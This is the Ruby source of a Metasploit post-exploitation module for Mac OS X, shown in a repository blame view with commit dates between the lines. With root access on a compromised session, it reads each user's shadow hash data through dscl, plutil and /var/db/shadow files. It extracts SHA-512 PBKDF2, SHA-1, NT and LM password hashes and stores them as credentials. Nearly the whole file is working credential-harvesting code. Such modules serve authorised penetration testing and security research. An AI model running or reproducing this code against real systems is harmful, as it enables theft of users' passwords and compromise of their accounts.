metasploit-framework/modules/post/osx/gather/hashdump.rb

222 lines
7.1 KiB
Ruby
Raw Normal View History

##
2013-10-15 19:52:12 +00:00
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
2012-10-23 18:24:05 +00:00
require 'msf/core/auxiliary/report'
require 'rexml/document'
class Metasploit3 < Msf::Post
# set of accounts to ignore while pilfering data
OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]
2013-09-05 18:41:25 +00:00
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'OS X Gather Mac OS X Password Hash Collector',
'Description' => %q{
This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports
2013-12-08 20:26:16 +00:00
versions 10.3 to 10.9.
2013-09-05 18:41:25 +00:00
},
'License' => MSF_LICENSE,
'Author' => [
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'hammackj <jacob.hammack[at]hammackj.com>',
'joev'
],
2013-09-05 18:41:25 +00:00
'Platform' => [ 'osx' ],
'SessionTypes' => [ 'shell' ]
2013-09-05 18:41:25 +00:00
))
register_options([
OptRegexp.new('MATCHUSER', [false,
'Only attempt to grab hashes for users whose name matches this regex'
])
])
2013-09-05 18:41:25 +00:00
end
# Run Method for when run command is issued
def run
fail_with("Insufficient Privileges: must be running as root to dump the hashes") unless root?
# iterate over all users
users.each do |user|
next if datastore['MATCHUSER'].present? and datastore['MATCHUSER'] !~ user
print_status "Attempting to grab shadow for user #{user}..."
if gt_lion? # 10.8+
# pull the shadow from dscl
shadow_bytes = grab_shadow_blob(user)
next if shadow_bytes.blank?
# on 10.8+ ShadowHashData stores a binary plist inside of the user.plist
# Here we pull out the binary plist bytes and use built-in plutil to convert to xml
plist_bytes = shadow_bytes.split('').each_slice(2).map{|s| "\\x#{s[0]}#{s[1]}"}.join
# encode the bytes as \x hex string, print using bash's echo, and pass to plutil
2013-12-08 20:27:28 +00:00
shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")
# read the plaintext xml
shadow_xml = REXML::Document.new(shadow_plist)
# parse out the different parts of sha512pbkdf2
dict = shadow_xml.elements[1].elements[1].elements[2]
entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')
iterations = dict.elements[4].text.gsub(/\s+/, '')
salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')
2014-06-27 16:26:45 +00:00
# PBKDF2 stored in <iterations, salt, entropy> format
decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}"
2014-06-26 17:04:55 +00:00
report_hash("SHA-512 PBKDF2", decoded_hash, user)
elsif lion? # 10.7
# pull the shadow from dscl
shadow_bytes = grab_shadow_blob(user)
next if shadow_bytes.blank?
# on 10.7 the ShadowHashData is stored in plaintext
2014-06-27 19:12:10 +00:00
hash_decoded = shadow_bytes.downcase
# Check if NT HASH is present
2014-06-27 19:12:10 +00:00
if hash_decoded =~ /4f1010/
report_hash("NT", hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user)
end
# slice out the sha512 hash + salt
2014-06-27 19:12:10 +00:00
sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0]
2014-06-26 17:04:55 +00:00
report_hash("SHA-512", sha512, user)
else # 10.6 and below
# On 10.6 and below, SHA-1 is used for encryption
guid = if gte_leopard?
cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
elsif lte_tiger?
cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
end
# Extract the hashes
sha1_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp
nt_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp
lm_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp
# Check that we have the hashes and save them
if sha1_hash !~ /0000000000000000000000000/
2014-06-26 17:04:55 +00:00
report_hash("SHA-1", sha1_hash, user)
end
if nt_hash !~ /000000000000000/
2014-06-26 17:04:55 +00:00
report_hash("NT", nt_hash, user)
end
if lm_hash !~ /0000000000000/
2014-06-26 17:04:55 +00:00
report_hash("LM", lm_hash, user)
end
end
2013-09-05 18:41:25 +00:00
end
end
private
2013-09-05 18:41:25 +00:00
# @return [Bool] system version is at least 10.5
def gte_leopard?
ver_num =~ /10\.(\d+)/ and $1.to_i >= 5
end
2013-09-05 18:41:25 +00:00
# @return [Bool] system version is at least 10.8
def gt_lion?
ver_num =~ /10\.(\d+)/ and $1.to_i >= 8
end
# @return [String] hostname
def host; session.session_host; end
# @return [Bool] system version is 10.7
def lion?
ver_num =~ /10\.(\d+)/ and $1.to_i == 7
end
# @return [Bool] system version is 10.4 or lower
def lte_tiger?
ver_num =~ /10\.(\d+)/ and $1.to_i <= 4
end
# parse the dslocal plist in lion
def read_ds_xml_plist(plist_content)
2013-09-05 18:41:25 +00:00
doc = REXML::Document.new(plist_content)
keys = []
doc.elements.each("plist/dict/key") { |n| keys << n.text }
2013-09-05 18:41:25 +00:00
fields = {}
i = 0
doc.elements.each("plist/dict/array") do |element|
data = []
fields[keys[i]] = data
element.each_element("*") do |thing|
data_set = thing.text
if data_set
data << data_set.gsub("\n\t\t","")
else
data << data_set
end
end
i+=1
end
return fields
end
2014-06-26 17:04:55 +00:00
# reports the hash info to metasploit backend
def report_hash(type, hash, user)
return unless hash.present?
print_status("#{type}:#{user}:#{hash}")
case type
2014-06-30 16:35:28 +00:00
when "NT"
private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"
private_type = :ntlm_hash
when "LM"
private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}"
2014-06-26 17:04:55 +00:00
private_type = :ntlm_hash
when "SHA-512 PBKDF2", "SHA-512", "SHA-1"
private_data = hash
private_type = :nonreplayable_hash
end
create_credential(
workspace_id: myworkspace_id,
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
username: user,
private_data: private_data,
private_type: private_type
)
2014-06-26 17:04:55 +00:00
print_status("Credential saved in database.")
2013-09-05 18:41:25 +00:00
end
# Checks if running as root on the target
# @return [Bool] current user is root
def root?
whoami == 'root'
2013-09-05 18:41:25 +00:00
end
# @return [String] containing blob for ShadowHashData in user's plist
# @return [nil] if shadow is invalid
def grab_shadow_blob(user)
shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')
return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'
# strip the other bytes
shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')
end
# @return [Array<String>] list of user names
def users
@users ||= cmd_exec("/bin/ls /Users").each_line.collect.map(&:chomp) - OSX_IGNORE_ACCOUNTS
end
2013-09-05 18:41:25 +00:00
# @return [String] version string (e.g. 10.8.5)
def ver_num
@version ||= cmd_exec("/usr/bin/sw_vers -productVersion").chomp
end
2013-09-05 18:41:25 +00:00
# @return [String] name of current user
def whoami
@whoami ||= cmd_exec('/usr/bin/whoami').chomp
2013-09-05 18:41:25 +00:00
end
end